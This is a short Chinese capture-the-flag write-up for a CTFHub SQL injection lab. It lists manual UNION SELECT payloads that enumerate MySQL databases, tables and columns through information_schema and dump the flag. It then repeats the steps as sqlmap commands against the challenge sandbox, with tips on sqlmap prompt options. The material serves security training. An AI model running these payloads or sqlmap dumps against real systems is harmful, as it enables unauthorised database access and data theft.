CTFHUB-技能树-Web题-SQL注入-Mysql结构

技能树-Web题-SQL注入-Mysql结构

Mysql结构

判断注入

1 and 1=1 有回显

1 and 1=2 无回显

爆库

-1 union select 1,database()#

得到库名sqli

爆表

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'

得到两个表名，爆第一个表的字段名看看有什么信息

爆字段

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'djzvzdauvl'

得到一个字段名，看看有什么数据

爆数据

-1 union select 1,yireieotdp from sqli.djzvzdauvl

得到flag

linux sqlmap

爆库

sqlmap -u challenge-dd6c3391b9ccd2b7.sandbox.ctfhub.com:10800/?id=1 --dbs

爆表

sqlmap -u challenge-dd6c3391b9ccd2b7.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

爆字段

sqlmap -u challenge-dd6c3391b9ccd2b7.sandbox.ctfhub.com:10800/?id=1 -D sqli -T djzvzdauvl --columns

爆数据

sqlmap -u challenge-dd6c3391b9ccd2b7.sandbox.ctfhub.com:10800/?id=1 -D sqli -T djzvzdauvl -C yireieotdp --dump

sqlmap提示选项使用技巧

在使用sqlmap过程中，经常需要用户进行选择，如[Y/n]。这里有几个技巧：

1.大写的为默认选项。如果不输入，就自动使用该选项。
2.我们输入时，不用区分大小写。
3.除了y和n，还有两个特殊选项。一个是a，表示alway，就是总是获取。一个是q，表示退出。
4.不想手动选择，则在执行sqlmap的时候，加上–batch和–smart选项。